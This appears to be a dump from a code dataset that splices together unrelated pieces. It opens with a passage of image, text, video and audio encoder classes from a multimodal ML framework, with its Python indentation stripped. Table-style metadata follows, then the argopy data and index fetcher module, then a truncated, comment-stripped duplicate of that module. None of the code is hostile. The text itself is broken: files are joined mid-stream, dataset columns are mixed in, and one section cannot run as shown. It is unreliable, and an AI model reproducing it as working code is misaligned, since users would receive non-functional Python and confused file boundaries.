name: str = "finetune_faster_rcnn_fpn_fc7"
in_dim: int = MISSING
weights_file: str = "fc7_w.pkl"
bias_file: str = "fc7_b.pkl"
model_data_dir: str = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
model_data_dir = get_absolute_path(config.model_data_dir)
if not os.path.isabs(config.weights_file):
weights_file = os.path.join(model_data_dir, config.weights_file)
if not os.path.isabs(config.bias_file):
bias_file = os.path.join(model_data_dir, config.bias_file)
if not PathManager.exists(bias_file) or not PathManager.exists(weights_file):
download_path = download_pretrained_model("detectron.vmb_weights")
weights_file = get_absolute_path(os.path.join(download_path, "fc7_w.pkl"))
bias_file = get_absolute_path(os.path.join(download_path, "fc7_b.pkl"))
with PathManager.open(weights_file, "rb") as w:
weights = pickle.load(w)
with PathManager.open(bias_file, "rb") as b:
bias = pickle.load(b)
out_dim = bias.shape[0]
self.lc = nn.Linear(config.in_dim, out_dim)
self.lc.weight.data.copy_(torch.from_numpy(weights))
self.lc.bias.data.copy_(torch.from_numpy(bias))
self.out_dim = out_dim
def _load_from_state_dict(
self,
state_dict,
prefix,
local_metadata,
strict,
missing_keys,
unexpected_keys,
error_msgs,
):
old_prefix = prefix + "module."
for k in list(state_dict.keys()):
if k.startswith(old_prefix):
new_k = k.replace(old_prefix, prefix)
state_dict[new_k] = state_dict.pop(k)
super()._load_from_state_dict(
state_dict,
prefix,
local_metadata,
strict,
missing_keys,
unexpected_keys,
error_msgs,
)
def forward(self, image):
i2 = self.lc(image)
i3 = nn.functional.relu(i2)
return i3
@registry.register_encoder("identity")
class IdentityEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "identity"
in_dim: int = 100
def __init__(self, config: Config):
super().__init__()
self.module = nn.Identity()
self.in_dim = config.get("in_dim", 100)
self.out_dim = self.in_dim
def forward(self, x):
return self.module(x)
class ImageEncoderTypes(Enum):
default = "default"
identity = "identity"
torchvision_resnet = "torchvision_resnet"
resnet152 = "resnet152"
detectron2_resnet = "detectron2_resnet"
class ImageEncoderFactory(EncoderFactory):
@dataclass
class Config(EncoderFactory.Config):
type: ImageEncoderTypes = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self._type = config.type
if isinstance(self._type, ImageEncoderTypes):
self._type = self._type.value
params = config.params
if self._type == "default" or self._type == "identity":
self.module = nn.Identity()
self.module.out_dim = params.in_dim
elif self._type == "resnet152":
self.module = ResNet152ImageEncoder(params)
elif self._type == "torchvision_resnet":
self.module = TorchvisionResNetImageEncoder(params)
elif self._type == "detectron2_resnet":
self.module = Detectron2ResnetImageEncoder(params)
elif self._type == "frcnn":
self.module = FRCNNImageEncoder(params)
else:
raise NotImplementedError("Unknown Image Encoder: %s" % self._type)
@property
def out_dim(self):
return self.module.out_dim
def forward(self, image):
return self.module(image)
@registry.register_encoder("resnet152")
class ResNet152ImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "resnet152"
pretrained: bool = True
pool_type: str = "avg"
num_output_features: int = 1
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
model = torchvision.models.resnet152(pretrained=config.get("pretrained", True))
modules = list(model.children())[:-2]
self.model = nn.Sequential(*modules)
pool_func = (
nn.AdaptiveAvgPool2d if config.pool_type == "avg" else nn.AdaptiveMaxPool2d
)
if config.num_output_features == -1:
self.pool = nn.Identity()
elif config.num_output_features in [1, 2, 3, 5, 7]:
self.pool = pool_func((config.num_output_features, 1))
elif config.num_output_features == 4:
self.pool = pool_func((2, 2))
elif config.num_output_features == 6:
self.pool = pool_func((3, 2))
elif config.num_output_features == 8:
self.pool = pool_func((4, 2))
elif config.num_output_features == 9:
self.pool = pool_func((3, 3))
self.out_dim = 2048
def forward(self, x):
out = self.pool(self.model(x))
out = torch.flatten(out, start_dim=2)
out = out.transpose(1, 2).contiguous()
return out
@registry.register_encoder("torchvision_resnet")
class TorchvisionResNetImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "resnet50"
pretrained: bool = False
zero_init_residual: bool = True
num_output_features: int = -1
pool_type: str = "avg"
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
model = getattr(torchvision.models, config.name)(
pretrained=config.pretrained, zero_init_residual=config.zero_init_residual
)
self.use_avgpool = config.get("use_avgpool", None)
if self.use_avgpool:
config.num_output_features = 1
config.pool_type = "avg"
elif self.use_avgpool is False:
config.num_output_features = -1
if config.pretrained:
model = self._load_pretrained(model, config)
modules = list(model.children())[:-2]
self.model = nn.Sequential(*modules)
self.pool = self._pool_func(config)
self.out_dim = config.get("out_dim", 2048)
def _load_pretrained(self, model, config: Config):
pretrained_model = config.get("pretrained_model", "supervised")
if pretrained_model == "supervised":
pass
elif os.path.exists(pretrained_model):
model.load_state_dict(torch.load(pretrained_model))
else:
try:
with PathManager.open(pretrained_model, "rb") as f:
model.load_state_dict(
torch.load(f, map_location=lambda storage, loc: storage),
strict=False,
)
except Exception:
raise Exception(f"unknown pretrained ResNet model: {pretrained_model}")
return model
def _pool_func(self, config: Config):
pool_func = (
nn.AdaptiveAvgPool2d if config.pool_type == "avg" else nn.AdaptiveMaxPool2d
)
if config.num_output_features == -1:
pool = nn.Identity()
elif config.num_output_features in [1, 2, 3, 5, 7]:
pool = pool_func((config.num_output_features, 1))
elif config.num_output_features == 4:
pool = pool_func((2, 2))
elif config.num_output_features == 6:
pool = pool_func((3, 2))
elif config.num_output_features == 8:
pool = pool_func((4, 2))
elif config.num_output_features == 9:
pool = pool_func((3, 3))
return pool
def forward(self, x):
out = self.pool(self.model(x))
if self.use_avgpool is None:
out = torch.flatten(out, start_dim=2)
out = out.transpose(1, 2).contiguous()
else:
out = torch.flatten(out, start_dim=1)
return out
@registry.register_encoder("detectron2_resnet")
class Detectron2ResnetImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "detectron2_resnet"
pretrained: bool = True
pretrained_path: str = None
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
pretrained = config.get("pretrained", False)
pretrained_path = config.get("pretrained_path", None)
self.resnet = build_resnet_backbone(config, ShapeSpec(channels=3))
if pretrained:
state_dict = torch.hub.load_state_dict_from_url(
pretrained_path, progress=False
)
new_state_dict = OrderedDict()
replace_layer = {"backbone.": ""}
for key, value in state_dict["model"].items():
new_key = re.sub(
r"(backbone\.)", lambda x: replace_layer[x.groups()[0]], key
)
new_state_dict[new_key] = value
self.resnet.load_state_dict(new_state_dict, strict=False)
self.out_dim = 2048
def forward(self, x):
x = self.resnet(x)
return x["res5"]
@registry.register_encoder("frcnn")
class FRCNNImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "frcnn"
pretrained: bool = True
pretrained_path: str = None
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
pretrained = config.get("pretrained", False)
pretrained_path = config.get("pretrained_path", None)
self.frcnn = GeneralizedRCNN(config)
if pretrained:
state_dict = torch.load(pretrained_path)
self.frcnn.load_state_dict(state_dict)
self.frcnn.eval()
def forward(
self,
x: torch.Tensor,
sizes: torch.Tensor = None,
scales_yx: torch.Tensor = None,
padding: torch.Tensor = None,
max_detections: int = 0,
return_tensors: str = "pt",
):
x = self.frcnn(
x,
sizes,
scales_yx=scales_yx,
padding=padding,
max_detections=max_detections,
return_tensors=return_tensors,
)
return x
class TextEncoderTypes(Enum):
identity = "identity"
transformer = "transformer"
embedding = "embedding"
class TextEncoderFactory(EncoderFactory):
@dataclass
class Config(EncoderFactory.Config):
type: TextEncoderTypes = MISSING
params: Encoder.Config = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self._type = config.type
if isinstance(self._type, TextEncoderTypes):
self._type = self._type.value
if self._type == "identity":
self.module = nn.Identity()
elif self._type == "transformer":
self._module = TransformerEncoder(config.params)
self.module = self._module.module
elif self._type == "embedding":
self.module = TextEmbeddingEncoder(config.params)
else:
raise NotImplementedError(f"Unknown Text Encoder {self._type}")
def forward(self, *args, **kwargs):
return self.module(*args, **kwargs)
@registry.register_encoder("text_embedding")
class TextEmbeddingEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "text_embedding"
operator: str = MISSING
embedding_params: Any = MISSING
def __init__(self, config: Config):
super().__init__()
self._operator = config.operator
self._embedding_params = config.embedding_params
self.module = TextEmbedding(
self._embedding_params.type, **self._embedding_params.params
)
def forward(self, x):
x = self.module(x)
if self._operator == "sum":
x = x.sum(dim=1)
elif self._operator == "concat":
x = torch.cat(x, dim=1)
elif self._operator == "mul":
x = torch.prod(x, dim=1)
return x.squeeze()
@registry.register_encoder("transformer")
class TransformerEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "transformer"
num_segments: int = 2
bert_model_name: str = "bert-base-uncased"
# vocab_size: x to update the size of the vocabulary with which encoder is
# initialized. If you update the default values, the transformer you
# will get will be initialized from scratch.
hidden_size: int = 768
num_hidden_layers: int = 12
num_attention_heads: int = 12
output_attentions: bool = False
output_hidden_states: bool = False
random_init: bool = False
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
hf_params = {"config": self._build_encoder_config(config)}
should_random_init = self.config.get("random_init", False)
# For BERT models, initialize using Jit version
if self.config.bert_model_name.startswith("bert-"):
if should_random_init:
self.module = BertModelJit(**hf_params)
else:
self.module = BertModelJit.from_pretrained(
self.config.bert_model_name, **hf_params
)
else:
if should_random_init:
self.module = AutoModel.from_config(**hf_params)
else:
self.module = AutoModel.from_pretrained(
self.config.bert_model_name, **hf_params
)
self.embeddings = self.module.embeddings
self.original_config = self.config
self.config = self.module.config
self._init_segment_embeddings()
def _init_segment_embeddings(self):
if self.original_config.get("num_segments", None):
num_segments = self.original_config.num_segments
if hasattr(self.embeddings, "token_type_embeddings"):
new_embeds = nn.Embedding(num_segments, self.config.hidden_size)
new_embeds.weight.data[:2].copy_(
self.embeddings.token_type_embeddings.weight
)
for idx in range(2, num_segments - 1):
new_embeds.weight.data[idx].copy_(
self.embeddings.token_type_embeddings.weight.data.mean(dim=0)
)
self.embeddings.token_type_embeddings = new_embeds
def _build_encoder_config(self, config: Config):
return AutoConfig.from_pretrained(
config.bert_model_name, **OmegaConf.to_container(config)
)
def forward(self, *args, return_sequence=False, **kwargs) -> Tensor:
# Only return pooled output
output = self.module(*args, **kwargs)
return output[0] if return_sequence else output[1]
class MultiModalEncoderBase(Encoder):
__jit_unused_properties__ = ["encoder_config"]
@dataclass
class Config(Encoder.Config):
# This actually is Union[ImageEncoderConfig, ImageFeatureEncoderConfig]
modal_encoder: EncoderFactory.Config = ImageEncoderFactory.Config(
type=ImageEncoderTypes.resnet152, params=ResNet152ImageEncoder.Config()
)
text_encoder: EncoderFactory.Config = TextEncoderFactory.Config(
type=TextEncoderTypes.transformer, params=TransformerEncoder.Config()
)
direct_features_input: bool = False
modal_hidden_size: int = 2048
text_hidden_size: int = 768
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
self._modal_encoder_config = self.config.get("modal_encoder", None)
self._is_direct_features_input = self.config.get("direct_features_input", False)
self.build()
self.modal_hidden_size = self.config.get("modal_hidden_size", None)
self.text_hidden_size = self.config.get("text_hidden_size", None)
def build(self):
encoders = self._build_encoders(self.config)
self.text_encoder, self.modal_encoder = encoders[0], encoders[1]
self._encoder_config = None
if self.text_encoder:
self._encoder_config = self.text_encoder.config
@property
def encoder_config(self):
return self._encoder_config
def _build_encoders(self, config):
text_encoder = None
if config.get("text_encoder", None):
text_encoder = build_text_encoder(config.text_encoder)
modal_encoder = None
if config.get("modal_encoder", None):
modal_encoder = self._build_modal_encoder(config.modal_encoder)
return (text_encoder, modal_encoder)
def _build_modal_encoder(self, config):
return build_image_encoder(
config, direct_features=self._is_direct_features_input
)
class PooledEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
num_output_features: int = 1 # How many output features need to be returned.
pool_type: str = "avg" # type of pooling to apply "avg" | "adaptive"
out_dim: int = MISSING # size of out dim expected
three_d: bool = False # if input requires 3D pooling (for video)
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.encoder = self.build_encoder(config)
pool_func = (
nn.AdaptiveAvgPool2d if config.pool_type == "avg" else nn.AdaptiveMaxPool2d
)
params = (config.num_output_features, 1)
if config.three_d:
pool_func = (
nn.AdaptiveAvgPool3d
if config.pool_type == "avg"
else nn.AdaptiveMaxPool3d
)
params = (config.num_output_features, 1, 1)
# -1 will keep the original feature size
if config.num_output_features == -1:
self.pool = nn.Identity()
else:
self.pool = pool_func(params)
self.out_dim = config.out_dim
def build_encoder(self, config: Config, *args, **kwargs):
raise NotImplementedError()
def forward(self, x: Tensor) -> Tensor:
out = self.encoder(x)
out = self.pool(out)
out = torch.flatten(out, start_dim=2)
out = out.transpose(1, 2).contiguous()
return out
@registry.register_encoder("pytorchvideo")
class PytorchVideoEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "pytorchvideo"
random_init: bool = False
model_name: str = "slowfast_r50"
drop_last_n_layers: int = -1
pooler_name: str = "identity"
PYTORCHVIDEO_REPO = "facebookresearch/pytorchvideo:main"
def __init__(self, config: Config):
super().__init__()
config = OmegaConf.create({**asdict(self.Config()), **config})
if config.random_init:
params = dict(**OmegaConf.to_container(config))
params = {
k: v
for k, v in params.items()
if k not in PytorchVideoEncoder.Config().__dict__
}
try:
model = torch.hub.load(
PytorchVideoEncoder.PYTORCHVIDEO_REPO,
model=config.model_name,
pretrained=False,
**params,
)
except BaseException as err:
pytorchvideo_spec = importlib.util.find_spec("pytorchvideo")
if pytorchvideo_spec is None:
raise err
import pytorchvideo.models.hub as hub
model_create_fn = getattr(hub, config.model_name)
model = model_create_fn(pretrained=False, **params)
else:
# load weights from TorchHub
model = torch.hub.load(
PytorchVideoEncoder.PYTORCHVIDEO_REPO,
model=config.model_name,
pretrained=True,
)
encoder_list = []
if config.drop_last_n_layers == 0:
encoder_list += [model]
else:
modules_list = list(model.children())
if len(modules_list) == 1:
modules_list = list(modules_list[0].children())
modules = modules_list[: config.drop_last_n_layers]
encoder_list += modules
pooler = registry.get_pool_class(config.pooler_name)()
encoder_list += [pooler]
self.encoder = nn.Sequential(*encoder_list)
def forward(self, *args, **kwargs):
# pass along input to model
# assumes caller obeys the dynamic model signature
return self.encoder(*args, **kwargs)
@registry.register_encoder("r2plus1d_18")
class R2Plus1D18VideoEncoder(PooledEncoder):
@dataclass
class Config(PooledEncoder.Config):
name: str = "r2plus1d_18"
out_dim: int = 512 # out dim
pretrained: bool = True # if should use pretrained version or not
three_d: bool = True
def build_encoder(self, config: Config, *args, **kwargs):
model = torchvision.models.video.r2plus1d_18(
pretrained=config.get("pretrained", True)
)
modules = list(model.children())[:-2]
return nn.Sequential(*modules)
@registry.register_encoder("resnet18_audio")
class ResNet18AudioEncoder(PooledEncoder):
@dataclass
class Config(PooledEncoder.Config):
name: str = "resnet18_audio"
out_dim: int = 512
pretrained: bool = False
def build_encoder(self, config: Config, *args, **kwargs):
model = torchvision.models.resnet18(pretrained=config.get("pretrained", False))
model.conv1 = nn.Conv2d(1, 64, kernel_size=7, stride=2, padding=3, bias=False)
modules = list(model.children())[:-2]
return nn.Sequential(*modules)
@registry.register_encoder("vit")
class ViTEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "vit"
# See https://huggingface.co/models?filter=vit for available options
pretrained_model_name: str = "google/vit-base-patch16-224"
random_init: bool = False
gradient_checkpointing: bool = False
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
self.module, self.hf_config = self._model_class.from_config(config)
self.embeddings = self.module.embeddings
self.out_dim = self.hf_config.hidden_size
@property
def _model_class(self):
from mmf.modules.vit import ViTModel
return ViTModel
def forward(self, *args, **kwargs):
if "output_hidden_states" not in kwargs:
kwargs["output_hidden_states"] = False
output = self.module(*args, **kwargs)
return output["last_hidden_state"], output.get("hidden_states", None)
| true | true |
f725fbcb3a31eaf8eff4449388e052cf673f2915 | 15,435 | py | Python | argopy/fetchers.py | dhruvbalwada/argopy | 66a0b38ab5024d2ff2b7055e0e9b1c62837023a1 | [
"Apache-2.0"
] | null | null | null | argopy/fetchers.py | dhruvbalwada/argopy | 66a0b38ab5024d2ff2b7055e0e9b1c62837023a1 | [
"Apache-2.0"
] | null | null | null | argopy/fetchers.py | dhruvbalwada/argopy | 66a0b38ab5024d2ff2b7055e0e9b1c62837023a1 | [
"Apache-2.0"
] | null | null | null | #!/bin/env python
# -*coding: UTF-8 -*-
"""
High level helper methods to load Argo data from any source
The facade should be able to work with all available data access point,
"""
import warnings
from argopy.options import OPTIONS, _VALIDATORS
from .errors import InvalidFetcherAccessPoint, InvalidFetcher
from .utilities import list_available_data_src, list_available_index_src
from .plotters import plot_trajectory, plot_dac, plot_profilerType
AVAILABLE_DATA_SOURCES = list_available_data_src()
AVAILABLE_INDEX_SOURCES = list_available_index_src()
class ArgoDataFetcher(object):
""" Fetch and process Argo data.
Can return data selected from:
- one or more float(s), defined by WMOs
- one or more profile(s), defined for one WMO and one or more CYCLE NUMBER
- a space/time rectangular domain, defined by lat/lon/pres/time range
Can return data from the regular Argo dataset ('phy': temperature, salinity) and the Argo referenced
dataset used in DMQC ('ref': temperature, salinity).
This is the main API facade.
Specify here all options to data_fetchers.
Parameters
----------
mode : str
src : str
ds : str
"""
def __init__(self,
mode: str = "",
src: str = "",
ds: str = "",
**fetcher_kwargs):
"""
Parameters
----------
mode : str
User mode. Set to OPTIONS['mode'] by default.
ds : str
Name of the dataset to load. Use the global OPTIONS['dataset'] by default.
src : str
Source of the data to use. Use the global OPTIONS['src'] by default.
**fetcher_kwargs
Used to pass arguments specific to a data source.
"""
# Facade options:
self._mode = OPTIONS['mode'] if mode == '' else mode
self._dataset_id = OPTIONS['dataset'] if ds == '' else ds
self._src = OPTIONS['src'] if src == '' else src
_VALIDATORS['mode'](self._mode)
_VALIDATORS['src'](self._src)
_VALIDATORS['dataset'](self._dataset_id)
# Load data source access points:
if self._src not in AVAILABLE_DATA_SOURCES:
raise InvalidFetcher("Requested data fetcher '%s' not available ! Please try again with any of: %s"
% (self._src, "\n".join(AVAILABLE_DATA_SOURCES)))
else:
Fetchers = AVAILABLE_DATA_SOURCES[self._src]
# Auto-discovery of access points for this fetcher:
# rq: Access point names for the facade are not the same as the access point of fetchers
self.valid_access_points = ['profile', 'float', 'region']
self.Fetchers = {}
for p in Fetchers.access_points:
if p == 'wmo': # Required for 'profile' and 'float'
self.Fetchers['profile'] = Fetchers.Fetch_wmo
self.Fetchers['float'] = Fetchers.Fetch_wmo
if p == 'box': # Required for 'region'
self.Fetchers['region'] = Fetchers.Fetch_box
# Init sub-methods:
self.fetcher = None
if ds is None:
ds = Fetchers.dataset_ids[0]
self.fetcher_options = {**{'ds': ds}, **fetcher_kwargs}
self.postproccessor = self.__empty_processor
self._AccessPoint = None
# Dev warnings
# Todo Clean-up before each release
if self._dataset_id == 'bgc' and self._mode == 'standard':
warnings.warn(" 'BGC' dataset fetching in 'standard' user mode is not reliable. "
"Try to switch to 'expert' mode if you encounter errors.")
def __repr__(self):
if self.fetcher:
summary = [self.fetcher.__repr__()]
summary.append("Backend: %s" % self._src)
summary.append("User mode: %s" % self._mode)
else:
summary = ["<datafetcher 'Not initialised'>"]
summary.append("Backend: %s" % self._src)
summary.append("Fetchers: %s" % ", ".join(self.Fetchers.keys()))
summary.append("User mode: %s" % self._mode)
return "\n".join(summary)
def __empty_processor(self, xds):
""" Do nothing to a dataset """
return xds
def __getattr__(self, key):
""" Validate access points """
# print("key", key)
valid_attrs = ['Fetchers', 'fetcher', 'fetcher_options', 'postproccessor']
if key not in self.valid_access_points and key not in valid_attrs:
raise InvalidFetcherAccessPoint("'%s' is not a valid access point" % key)
pass
def dashboard(self, **kw):
try:
return self.fetcher.dashboard(**kw)
except Exception as e:
warnings.warn("dashboard not avaible for this fetcher access point (%s/%s)" % (self._src, self._AccessPoint))
def float(self, wmo, **kw):
""" Fetch data from a float """
if "CYC" in kw or "cyc" in kw:
raise TypeError("float() got an unexpected keyword argument 'cyc'. Use 'profile' access "
"point to fetch specific profile data.")
if 'float' in self.Fetchers:
self.fetcher = self.Fetchers['float'](WMO=wmo, **self.fetcher_options)
self._AccessPoint = 'float' # Register the requested access point
else:
raise InvalidFetcherAccessPoint("'float' not available with '%s' src" % self._src)
if self._mode == 'standard' and self._dataset_id != 'ref':
def postprocessing(xds):
xds = self.fetcher.filter_data_mode(xds)
xds = self.fetcher.filter_qc(xds)
xds = self.fetcher.filter_variables(xds, self._mode)
return xds
self.postproccessor = postprocessing
return self
def profile(self, wmo, cyc):
""" Fetch data from a profile
given one or more WMOs and CYCLE_NUMBER
"""
if 'profile' in self.Fetchers:
self.fetcher = self.Fetchers['profile'](WMO=wmo, CYC=cyc, **self.fetcher_options)
self._AccessPoint = 'profile' # Register the requested access point
else:
raise InvalidFetcherAccessPoint("'profile' not available with '%s' src" % self._src)
if self._mode == 'standard' and self._dataset_id != 'ref':
def postprocessing(xds):
xds = self.fetcher.filter_data_mode(xds)
xds = self.fetcher.filter_qc(xds)
xds = self.fetcher.filter_variables(xds, self._mode)
return xds
self.postproccessor = postprocessing
return self
def region(self, box: list):
""" Fetch data from a space/time domain
Parameters
----------
box: list(lon_min: float, lon_max: float, lat_min: float, lat_max: float, pres_min: float, pres_max: float,
date_min: str, date_max: str)
Define the domain to load all Argo data for. Longitude, latitude and pressure bounds are required, while
the two bounding dates [date_min and date_max] are optional. If not specificied, the entire time series
is requested.
Returns
-------
:class:`argopy.DataFetcher` with an access point initialized.
"""
if 'region' in self.Fetchers:
self.fetcher = self.Fetchers['region'](box=box, **self.fetcher_options)
self._AccessPoint = 'region' # Register the requested access point
else:
raise InvalidFetcherAccessPoint("'region' not available with '%s' src" % self._src)
if self._mode == 'standard' and self._dataset_id != 'ref':
def postprocessing(xds):
xds = self.fetcher.filter_data_mode(xds)
xds = self.fetcher.filter_qc(xds)
xds = self.fetcher.filter_variables(xds, self._mode)
return xds
self.postproccessor = postprocessing
return self
def to_xarray(self, **kwargs):
""" Fetch and return data as xarray.DataSet
Returns
-------
:class:`xarray.DataArray`
"""
# if not self.fetcher:
# raise InvalidFetcher(" Initialize an access point (%s) first." %
# ",".join(self.Fetchers.keys()))
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
xds = self.fetcher.to_xarray(**kwargs)
xds = self.postproccessor(xds)
return xds
def to_dataframe(self, **kwargs):
""" Fetch and return data as pandas.Dataframe """
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
return self.to_xarray(**kwargs).to_dataframe()
def clear_cache(self):
""" Clear fetcher cached data """
return self.fetcher.clear_cache()
class ArgoIndexFetcher(object):
"""
Specs discussion :
https://github.com/euroargodev/argopy/issues/8
https://github.com/euroargodev/argopy/pull/6)
Usage:
from argopy import ArgoIndexFetcher
idx = ArgoIndexFetcher.region([-75, -65, 10, 20])
idx.plot.trajectories()
idx.to_dataframe()
Fetch and process Argo index.
Can return metadata from index of :
- one or more float(s), defined by WMOs
- one or more profile(s), defined for one WMO and one or more CYCLE NUMBER
- a space/time rectangular domain, defined by lat/lon/pres/time range
idx object can also be used as an input :
argo_loader = ArgoDataFetcher(index=idx)
Specify here all options to data_fetchers
"""
def __init__(self,
mode: str = "",
src: str = "",
**fetcher_kwargs):
# Facade options:
self._mode = OPTIONS['mode'] if mode == '' else mode
self._src = OPTIONS['src'] if src == '' else src
_VALIDATORS['mode'](self._mode)
_VALIDATORS['src'](self._src)
# Load data source access points:
if self._src not in AVAILABLE_INDEX_SOURCES:
raise InvalidFetcher("Requested index fetcher '%s' not available ! "
"Please try again with any of: %s" % (self._src, "\n".join(AVAILABLE_INDEX_SOURCES)))
else:
Fetchers = AVAILABLE_INDEX_SOURCES[self._src]
# Auto-discovery of access points for this fetcher:
# rq: Access point names for the facade are not the same as the access point of fetchers
self.valid_access_points = ['profile', 'float', 'region']
self.Fetchers = {}
for p in Fetchers.access_points:
if p == 'wmo': # Required for 'profile' and 'float'
self.Fetchers['profile'] = Fetchers.Fetcher_wmo
self.Fetchers['float'] = Fetchers.Fetcher_wmo
if p == 'box': # Required for 'region'
self.Fetchers['region'] = Fetchers.Fetcher_box
# Init sub-methods:
self.fetcher = None
self.fetcher_options = {**fetcher_kwargs}
self.postproccessor = self.__empty_processor
self._AccessPoint = None
def __repr__(self):
if self.fetcher:
summary = [self.fetcher.__repr__()]
summary.append("User mode: %s" % self._mode)
else:
summary = ["<indexfetcher 'Not initialised'>"]
summary.append("Fetchers: %s" % ", ".join(self.Fetchers.keys()))
summary.append("User mode: %s" % self._mode)
return "\n".join(summary)
def __empty_processor(self, xds):
""" Do nothing to a dataset """
return xds
def __getattr__(self, key):
""" Validate access points """
valid_attrs = ['Fetchers', 'fetcher', 'fetcher_options', 'postproccessor']
if key not in self.valid_access_points and key not in valid_attrs:
raise InvalidFetcherAccessPoint("'%s' is not a valid access point" % key)
pass
def profile(self, wmo, cyc):
""" Fetch index for a profile
given one or more WMOs and CYCLE_NUMBER
"""
if 'profile' in self.Fetchers:
self.fetcher = self.Fetchers['profile'](WMO=wmo, CYC=cyc, **self.fetcher_options)
self._AccessPoint = 'profile' # Register the requested access point
else:
raise InvalidFetcherAccessPoint("'profile' not available with '%s' src" % self._src)
return self
def float(self, wmo):
""" Load index for one or more WMOs """
if 'float' in self.Fetchers:
self.fetcher = self.Fetchers['float'](WMO=wmo, **self.fetcher_options)
self._AccessPoint = 'float' # Register the requested access point
else:
raise InvalidFetcherAccessPoint("'float' not available with '%s' src" % self._src)
return self
def region(self, box):
""" Load index for a rectangular space/time domain region """
if 'region' in self.Fetchers:
self.fetcher = self.Fetchers['region'](box=box, **self.fetcher_options)
self._AccessPoint = 'region' # Register the requested access point
else:
raise InvalidFetcherAccessPoint("'region' not available with '%s' src" % self._src)
return self
def to_dataframe(self, **kwargs):
""" Fetch index and return pandas.Dataframe """
if not self.fetcher:
raise InvalidFetcher(" Initialize an access point (%s) first." %
",".join(self.Fetchers.keys()))
return self.fetcher.to_dataframe(**kwargs)
def to_xarray(self, **kwargs):
""" Fetch index and return xr.dataset """
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
return self.fetcher.to_xarray(**kwargs)
def to_csv(self, file: str = 'output_file.csv'):
""" Fetch index and return csv """
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
return self.to_dataframe().to_csv(file)
def plot(self, ptype='trajectory'):
""" Create custom plots from index
Parameters
----------
ptype: str
Type of plot to generate. This can be: 'trajectory',' profiler', 'dac'.
Returns
-------
fig : :class:`matplotlib.pyplot.figure.Figure`
Figure instance
"""
idx = self.to_dataframe()
if ptype == 'dac':
return plot_dac(idx)
elif ptype == 'profiler':
return plot_profilerType(idx)
elif ptype == 'trajectory':
return plot_trajectory(idx.sort_values(['file']))
else:
raise ValueError("Type of plot unavailable. Use: 'dac', 'profiler' or 'trajectory' (default)")
def clear_cache(self):
""" Clear fetcher cached data """
return self.fetcher.clear_cache()
| 39.075949 | 121 | 0.593456 |
import warnings
from argopy.options import OPTIONS, _VALIDATORS
from .errors import InvalidFetcherAccessPoint, InvalidFetcher
from .utilities import list_available_data_src, list_available_index_src
from .plotters import plot_trajectory, plot_dac, plot_profilerType
AVAILABLE_DATA_SOURCES = list_available_data_src()
AVAILABLE_INDEX_SOURCES = list_available_index_src()
class ArgoDataFetcher(object):
def __init__(self,
mode: str = "",
src: str = "",
ds: str = "",
**fetcher_kwargs):
self._mode = OPTIONS['mode'] if mode == '' else mode
self._dataset_id = OPTIONS['dataset'] if ds == '' else ds
self._src = OPTIONS['src'] if src == '' else src
_VALIDATORS['mode'](self._mode)
_VALIDATORS['src'](self._src)
_VALIDATORS['dataset'](self._dataset_id)
if self._src not in AVAILABLE_DATA_SOURCES:
raise InvalidFetcher("Requested data fetcher '%s' not available ! Please try again with any of: %s"
% (self._src, "\n".join(AVAILABLE_DATA_SOURCES)))
else:
Fetchers = AVAILABLE_DATA_SOURCES[self._src]
self.valid_access_points = ['profile', 'float', 'region']
self.Fetchers = {}
for p in Fetchers.access_points:
if p == 'wmo':
self.Fetchers['profile'] = Fetchers.Fetch_wmo
self.Fetchers['float'] = Fetchers.Fetch_wmo
if p == 'box':
self.Fetchers['region'] = Fetchers.Fetch_box
self.fetcher = None
if ds is None:
ds = Fetchers.dataset_ids[0]
self.fetcher_options = {**{'ds': ds}, **fetcher_kwargs}
self.postproccessor = self.__empty_processor
self._AccessPoint = None
if self._dataset_id == 'bgc' and self._mode == 'standard':
warnings.warn(" 'BGC' dataset fetching in 'standard' user mode is not reliable. "
"Try to switch to 'expert' mode if you encounter errors.")
def __repr__(self):
if self.fetcher:
summary = [self.fetcher.__repr__()]
summary.append("Backend: %s" % self._src)
summary.append("User mode: %s" % self._mode)
else:
summary = ["<datafetcher 'Not initialised'>"]
summary.append("Backend: %s" % self._src)
summary.append("Fetchers: %s" % ", ".join(self.Fetchers.keys()))
summary.append("User mode: %s" % self._mode)
return "\n".join(summary)
def __empty_processor(self, xds):
return xds
def __getattr__(self, key):
valid_attrs = ['Fetchers', 'fetcher', 'fetcher_options', 'postproccessor']
if key not in self.valid_access_points and key not in valid_attrs:
raise InvalidFetcherAccessPoint("'%s' is not a valid access point" % key)
pass
def dashboard(self, **kw):
try:
return self.fetcher.dashboard(**kw)
except Exception as e:
warnings.warn("dashboard not avaible for this fetcher access point (%s/%s)" % (self._src, self._AccessPoint))
